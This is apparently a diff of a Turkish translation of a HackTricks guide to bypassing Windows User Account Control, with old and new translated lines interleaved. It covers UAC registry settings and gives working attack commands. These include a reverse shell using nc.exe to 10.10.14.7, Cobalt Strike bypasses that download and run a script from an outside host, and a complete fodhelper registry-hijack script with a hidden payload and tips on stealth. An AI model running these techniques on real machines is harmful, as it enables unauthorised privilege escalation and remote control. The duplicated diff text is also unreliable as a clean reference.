| [Kullanıcı Hesabı Kontrolü: Yönetici Onay Modu'ndaki yöneticiler için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Windows dışı ikili dosyalar için onay istemi |
| [Kullanıcı Hesabı Kontrolü: Standart kullanıcılar için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Güvenli masaüstünde kimlik bilgileri isteme |
| [Kullanıcı Hesabı Kontrolü: Uygulama kurulumlarını tespit et ve yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) |
| [Kullanıcı Hesabı Kontrolü: Sadece imzalanmış ve doğrulanmış yürütülebilir dosyaları yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Devre Dışı |
| [Kullanıcı Hesabı Kontrolü: Sadece güvenli konumlarda kurulu UIAccess uygulamalarını yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Etkin |
| [Kullanıcı Hesabı Kontrolü: Tüm yöneticileri Yönetici Onay Modu'nda çalıştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Etkin |
| [Kullanıcı Hesabı Kontrolü: Yükseltme istemesi sırasında güvenli masaüstüne geç](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin |
| [Kullanıcı Hesabı Kontrolü: Dosya ve kayıt defteri yazma hatalarını kullanıcıya özel konumlara sanallaştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Etkin |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Devre Dışı |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Devre Dışı |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Windows dışı ikili dosyalar için onay istenir |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Güvenli masaüstünde kimlik bilgileri istenir |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Etkin (ev için varsayılan) / Devre Dışı (kurumsal için varsayılan) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Devre Dışı |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Etkin |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Etkin |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Etkin |
### UAC Atlatma Teorisi
### UAC Bypass Teorisi
Bazı programlar, **kullanıcı yönetici grubuna ait olduğunda** **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değeri ile bulunur. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır.
Bazı programlar, kullanıcı **administrator grubuna aitse** **otomatik olarak yükseltilir (autoelevated)**. Bu ikili dosyaların içindeki _**Manifests**_ bölümünde _**autoElevate**_ seçeneği _**True**_ olarak ayarlanmıştır. İkili dosyanın ayrıca **Microsoft tarafından imzalanmış** olması gerekir.
Birçok otomatik yükseltme süreci, **orta düzeyde (normal kullanıcı düzeyinde ayrıcalıklar) çalışan** süreçlerden çağrılabilen **COM nesneleri veya RPC sunucuları** aracılığıyla **işlevsellik** sunar. COM (Bileşen Nesne Modeli) ve RPC (Uzak Prosedür Çağrısı), Windows programlarının farklı süreçler arasında iletişim kurmak ve işlevleri yürütmek için kullandığı yöntemlerdir. Örneğin, **`IFileOperation COM nesnesi`**, dosya işlemlerini (kopyalama, silme, taşıma) yönetmek için tasarlanmıştır ve bir istem olmadan ayrıcalıkları otomatik olarak yükseltebilir.
Birçok auto-elevate süreci, medium integrity (normal kullanıcı düzeyi ayrıcalıklarıyla çalışan) süreçlerden çağrılabilen **COM objeleri veya RPC sunucuları aracılığıyla işlevsellik** sunar. COM (Component Object Model) ve RPC (Remote Procedure Call), Windows programlarının farklı süreçler arasında iletişim kurup fonksiyonları çalıştırmak için kullandığı yöntemlerdir. Örneğin, **`IFileOperation COM object`** dosya işlemlerini (kopyalama, silme, taşıma) ele almak üzere tasarlanmıştır ve uyarı göstermeden otomatik olarak ayrıcalıkları yükseltebilir.
Bazı kontrollerin yapılabileceğini unutmayın, örneğin sürecin **System32 dizininden çalıştırılıp çalıştırılmadığını kontrol etme**, bu kontrol, örneğin **explorer.exe** veya başka bir System32 konumundaki yürütülebilir dosyaya enjekte edilerek atlatılabilir.
Bazı kontrollerin, örneğin işlemin **System32 dizininden** çalıştırılıp çalıştırılmadığını kontrol etmesi gibi kontroller yapılabileceğini unutmayın; bu tür kontroller, örneğin **explorer.exe'ye enjeksiyon** yapmak veya System32 konumunda bulunan başka bir yürütülebilir dosyaya enjeksiyonla atlatılabilir.
Bu kontrolleri atlatmanın bir diğer yolu, **PEB'yi değiştirmektir**. Windows'taki her süreç, yürütülebilir yol gibi süreç hakkında önemli verileri içeren bir Süreç Ortam Bloğu (PEB) içerir. PEB'yi değiştirerek, saldırganlar kendi kötü niyetli süreçlerinin konumunu sahte (spoof) gösterebilir, böylece güvenilir bir dizinden (örneğin system32) çalışıyormuş gibi görünmesini sağlar. Bu sahte bilgi, COM nesnesini kullanıcıdan onay istemeden ayrıcalıkları otomatik olarak yükseltmeye kandırır.
Bu kontrolleri atlatmanın bir diğer yolu PEB'i **değiştirmektir**. Windows'taki her sürecin bir Process Environment Block (PEB) vardır; bu blok süreç hakkında yürütülebilir yol gibi önemli verileri içerir. PEB'i değiştirerek, saldırganlar kendi kötü amaçlı süreçlerinin konumunu sahte (spoof) şekilde gösterebilir ve sürecin güvenilir bir dizinden (ör. system32) çalışıyormuş gibi görünmesini sağlayabilir. Bu taklit edilmiş bilgi, COM objesini kullanıcıya sormadan otomatik olarak ayrıcalıkları yükseltmek için kandırır.
Sonra, **UAC'yi atlatmak** (orta düzeyden **yüksek** düzeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları **rastgele kod çalıştırmak** için kullanır çünkü bu, **Yüksek düzeyde bir süreçten** çalıştırılacaktır.
Daha sonra, UAC'yi **atlatmak (yani medium integrity seviyesinden high'a yükselmek)** için bazı saldırganlar bu tür ikilileri kullanarak **rastgele kod çalıştırır**, çünkü kod **High integrity** seviyesindeki bir süreçten çalıştırılacaktır.
Bir ikilinin _**Manifest**_ dosyasını _**sigcheck.exe**_ aracını kullanarak kontrol edebilirsiniz. (`sigcheck.exe -m <file>`) Ve süreçlerin **integrity level**'ını _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanarak **görebilirsiniz**.
Bir ikilinin _**Manifest**_'ini kontrol etmek için Sysinternals'tan _**sigcheck.exe**_ aracını kullanabilirsiniz. (`sigcheck.exe -m <file>`) Ve süreçlerin **integrity seviyesini** görmek için _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanabilirsiniz.
### UAC'yi Kontrol Et
### UAC Kontrolü
UAC'nin etkin olup olmadığını doğrulamak için:
```
@ -52,70 +52,70 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
Eğer **`1`** ise UAC **etkin**, eğer **`0`** ise veya **mevcut değilse**, UAC **etkisiz**dir.
Eğer **`1`** ise UAC **etkinleştirilmiş**, eğer **`0`** ise veya mevcut değilse UAC **devre dışı**.
Sonra, **hangi seviye** yapılandırıldığını kontrol edin:
Sonra, **hangi seviyenin** yapılandırıldığını kontrol edin:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- Eğer **`0`** ise, UAC istemi olmayacak (gibi **devre dışı**)
- Eğer **`1`** ise, admin **kullanıcı adı ve şifre** istenir yüksek haklarla ikili dosyayı çalıştırmak için (Güvenli Masaüstünde)
- Eğer **`2`** ise (**Her zaman beni bilgilendir**) UAC, admin yüksek ayrıcalıklarla bir şey çalıştırmaya çalıştığında her zaman onay isteyecektir (Güvenli Masaüstünde)
- Eğer **`3`** ise `1` gibi ama Güvenli Masaüstünde gerekli değil
- Eğer **`4`** ise `2` gibi ama Güvenli Masaüstünde gerekli değil
- Eğer **`5`** ise (**varsayılan**) adminin yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay vermesi istenecektir
- Eğer **`0`** ise, UAC uyarısı gelmez (yani **devre dışı**)
- Eğer **`1`** ise yöneticiye yüksek haklarla binary'yi çalıştırmak için **kullanıcı adı ve parola sorulur** (Secure Desktop üzerinde)
- Eğer **`2`** (**Always notify me**) yönetici yüksek ayrıcalıkla bir şey çalıştırmayı denediğinde UAC her zaman onay ister (Secure Desktop üzerinde)
- Eğer **`3`** `1` gibidir ama Secure Desktop gerekli değildir
- Eğer **`4`** `2` gibidir ama Secure Desktop gerekli değildir
- Eğer **`5`** (**varsayılan**) Windows olmayan binary'leri yüksek ayrıcalıklarla çalıştırmak için yöneticiden onay ister
Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız\
Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcısı (**yerleşik Yönetici**) **UAC olmadan admin görevleri** gerçekleştirebilir ve eğer `1` ise, **"Yöneticiler"** grubundaki tüm hesaplar bunları yapabilir.
Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız.\
Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcısı (yerleşik Yönetici) **UAC olmadan yönetici görevlerini** yerine getirebilir; eğer **`1`** ise, **"Administrators"** grubundaki tüm hesaplar bunu yapabilir.
Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakmalısınız\
Eğer **`0`** (varsayılan), **yerleşik Yönetici hesabı** uzaktan yönetim görevlerini yapabilir ve eğer **`1`** ise yerleşik Yönetici hesabı uzaktan yönetim görevlerini **yapamaz**, `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmadıkça.
Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakın.\
Eğer **`0`** (varsayılan) ise, yerleşik Administrator hesabı uzak yönetim görevlerini yapabilir; eğer **`1`** ise yerleşik Administrator hesabı uzak yönetim görevlerini yapamaz, ancak `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmışsa yapabilir.
#### Özet
#### Summary
- Eğer `EnableLUA=0` veya **mevcut değilse**, **hiç kimse için UAC yok**
- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=1`**, hiç kimse için UAC yok
- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=0`, RID 500 için UAC yok (Yerleşik Yönetici)**
- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=1`, herkes için UAC var**
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (yerleşik Yönetici)**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
Tüm bu bilgiler **metasploit** modülü kullanılarak toplanabilir: `post/windows/gather/win_privs`
Tüm bu bilgiler **metasploit** modülü ile toplanabilir: `post/windows/gather/win_privs`
Kullanıcınızın gruplarını kontrol edebilir ve bütünlük seviyesini alabilirsiniz:
Ayrıca kullanıcı gruplarınızı kontrol edebilir ve integrity level'ınızı öğrenebilirsiniz:
```
net user %username%
whoami /groups | findstr Level
```
## UAC atlatma
## UAC bypass
> [!TIP]
> Kurbanın grafik erişimine sahipseniz, UAC atlatmanın oldukça basit olduğunu unutmayın; UAC istemi göründüğünde "Evet"e tıklamanız yeterlidir.
> Hedefin grafiksel arayüzüne erişiminiz varsa, UAC bypass çok basittir; UAC istemi göründüğünde sadece "Yes"e tıklayabilirsiniz
UAC atlatma, aşağıdaki durumda gereklidir: **UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.**
UAC bypass şu durumda gereklidir: **UAC etkin, işleminiz medium integrity context içinde çalışıyor ve kullanıcı hesabınız administrators grubuna ait**.
UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatılmasının, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir.
Belirtmek gerekir ki, **UAC en yüksek güvenlik seviyesindeyse (Always), diğer herhangi bir seviyedeyken (Default) olduğuna kıyasla atlatmak çok daha zordur.**
### UAC devre dışı
Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) **yönetici ayrıcalıklarıyla bir ters shell çalıştırabilirsiniz** (yüksek bütünlük seviyesi) gibi bir şey kullanarak:
Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) şu gibi bir şey kullanarak (high integrity level) **admin privileges ile bir reverse shell çalıştırabilirsiniz:**
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
```
#### UAC atlatma ile token kopyalama
#### UAC bypass with token duplication
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
### **Çok** Temel UAC "atlatma" (tam dosya sistemi erişimi)
### **Çok Temel** UAC "bypass" (full file system access)
Eğer Administrators grubunda bir kullanıcı ile bir shell'e sahipseniz, **C$** paylaşımını SMB (dosya sistemi) üzerinden yeni bir diske yerel olarak **monte edebilir ve dosya sisteminin içindeki her şeye erişim sağlayabilirsiniz** (hatta Administrator ana klasörüne).
Eğer Administrators grubunun içinde bir kullanıcıyla shell'e sahipseniz, SMB üzerinden paylaşılan **mount the C$**'ı yerel olarak yeni bir diske bağlayabilir ve file system içindeki her şeye **erişiminiz olur** (hatta Administrator home folder).
> [!WARNING]
> **Bu numaranın artık çalışmadığı görünüyor**
> **Görünüşe göre bu hile artık çalışmıyor**
```bash
net use Z: \\127.0.0.1\c$
cd C$
@ -123,9 +123,9 @@ cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### UAC atlatma ile cobalt strike
### UAC bypass ile cobalt strike
Cobalt Strike teknikleri, UAC maksimum güvenlik seviyesinde ayarlanmamışsa yalnızca çalışacaktır.
Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesinde ayarlı değilse çalışır.
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -137,18 +137,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** ve **Metasploit** ayrıca **UAC**'yi **bypass** etmek için birkaç modül sunmaktadır.
**Empire** ve **Metasploit** ayrıca **UAC**'yi **bypass** etmek için birkaç modüle sahiptir.
### KRBUACBypass
Dokümantasyon ve araç [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) adresinde bulunmaktadır.
Dokümantasyon ve araç: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
### UAC bypass exploitleri
### UAC bypass exploits
[**UACME**](https://github.com/hfiref0x/UACME), birkaç UAC bypass exploitinin **derlemesi**dir. **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini** unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır, **hangi dosyaya ihtiyacınız olduğunu bilmeniz gerekecek.**\
**Dikkatli olmalısınız** çünkü bazı bypasslar, **kullanıcıya** bir şeylerin olduğunu **bildiren** bazı diğer programları **uyarabilir**.
[**UACME** ](https://github.com/hfiref0x/UACME) birkaç UAC bypass exploits içeren bir **derlemedir**. Dikkat: **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerekecek**. Derleme birkaç çalıştırılabilir dosya oluşturacaktır (ör. `Source\Akagi\outout\x64\Debug\Akagi.exe`), hangi dosyaya **ihtiyaç duyduğunuzu** bilmeniz gerekecek.\
**Dikkatli olun**, çünkü bazı bypass'lar bazı diğer programları **tetikleyebilir** ve bu programlar **kullanıcıyı** bir şeylerin olduğunu **uyarabilir**.
UACME, her tekniğin çalışmaya başladığı **derleme sürümünü** içermektedir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz:
UACME, **her tekniğin hangi build sürümünden itibaren çalışmaya başladığını** gösterir. Sürümlerinizi etkileyen bir teknik arayabilirsiniz:
```
PS C:\> [environment]::OSVersion.Version
@ -158,39 +158,77 @@ Major Minor Build Revision
```
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
#### Daha Fazla UAC atlatma
### UAC Bypass – fodhelper.exe (Registry hijack)
**Burada** AUC'yi atlatmak için kullanılan **tüm** teknikler, kurbanla **tam etkileşimli bir shell** gerektirir (yaygın bir nc.exe shell yeterli değildir).
Güvenilen ikili `fodhelper.exe` modern Windows sürümlerinde otomatik olarak yükseltilir. Başlatıldığında, `DelegateExecute` verbünü doğrulamadan aşağıdaki kullanıcıya özel kayıt defteri yolunu sorgular. Oraya bir komut yerleştirmek, bir Medium Integrity sürecinin (kullanıcı Administrators grubunda) UAC prompt olmadan bir High Integrity süreci başlatmasına olanak verir.
Bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri **1** olan bir **işleme** geçin:
Registry path queried by fodhelper:
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
PowerShell adımları (payload'unuzu ayarlayın, sonra trigger edin):
```powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Notlar:
- Mevcut kullanıcı Administrators grubunun bir üyesi olduğunda ve UAC seviyesi varsayılan/esnek olduğunda işe yarar (Always Notify ile ek kısıtlamalar olduğunda çalışmaz).
- 64-bit Windows'ta 32-bit bir process'ten 64-bit PowerShell başlatmak için `sysnative` yolunu kullanın.
- Payload herhangi bir komut (PowerShell, cmd veya bir EXE yolu) olabilir. Stealth için uyarı gösteren UI'ları tetiklemekten kaçının.
#### Daha fazla UAC bypass
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
![](<../../images/image (863).png>)
(_explorer.exe_ çalışmalıdır)
(_explorer.exe_ should works)
### GUI ile UAC Atlatma
### GUI ile UAC Bypass
Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir atlatmaya ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır.
Eğer bir **GUI** erişiminiz varsa, UAC istemini aldığınızda onu kabul edebilirsiniz; gerçekten bir bypass'a ihtiyacınız yoktur. Bu nedenle, GUI erişimi UAC'yi bypass etmenize izin verir.
Ayrıca, birinin kullandığı (potansiyel olarak RDP aracılığıyla) bir GUI oturumu elde ederseniz, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **admin** olarak doğrudan bir **cmd** **çalıştırabilirsiniz** ve UAC tarafından tekrar istemde bulunulmaz, [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **gizli** olabilir.
Ayrıca, eğer birinin kullandığı (muhtemelen RDP ile) bir GUI session elde ederseniz, bazı araçlar administrator olarak çalışıyor olabilir; bu araçlardan örneğin bir **cmd**'yi doğrudan **as admin** olarak UAC tarafından tekrar sorulmadan çalıştırabilirsiniz, örneğin [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **stealthy** olabilir.
### Gürültülü brute-force UAC atlatma
### Gürültülü brute-force UAC bypass
Eğer gürültü yapmaktan rahatsız değilseniz, her zaman **şunu çalıştırabilirsiniz**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) bu **kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar**.
Gürültülü olmaktan endişe etmiyorsanız, kullanıcı kabul edene kadar izinleri yükseltmeyi isteyen [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) gibi bir aracı çalıştırabilirsiniz.
### Kendi atlatmanız - Temel UAC atlatma metodolojisi
### Kendi bypass'ınız - Temel UAC bypass metodolojisi
**UACME**'ye bir göz atarsanız, **çoğu UAC atlatmasının bir Dll Hijacking zafiyetini kötüye kullandığını** göreceksiniz (esas olarak kötü amaçlı dll'yi _C:\Windows\System32_ içine yazmak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking/index.html).
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. **Otomatik yükseltme** yapacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin).
2. Procmon ile **DLL Hijacking**'e karşı savunmasız olabilecek "**NAME NOT FOUND**" olaylarını bulun.
3. Muhtemelen bazı **korumalı yollar** (C:\Windows\System32 gibi) içinde DLL'yi **yazmanız** gerekecek, burada yazma izinleriniz yok. Bunu aşmak için:
1. **wusa.exe**: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya izin verir (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır).
2. **IFileOperation**: Windows 10.
4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve otomatik yükseltilmiş ikili dosyayı çalıştırmak için bir **script** hazırlayın.
1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
2. **IFileOperation**: Windows 10.
4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
### Başka bir UAC atlatma tekniği
### Another UAC bypass technique
Bir **autoElevated binary**'nin **kayıttan** bir **binary** veya **komut**'un **adını/yolunu** **okumaya** çalışıp çalışmadığını izlemeyi içerir (bu, binary bu bilgiyi **HKCU** içinde arıyorsa daha ilginçtir).
Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
## References
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
{{#include ../../banners/hacktricks-training.md}}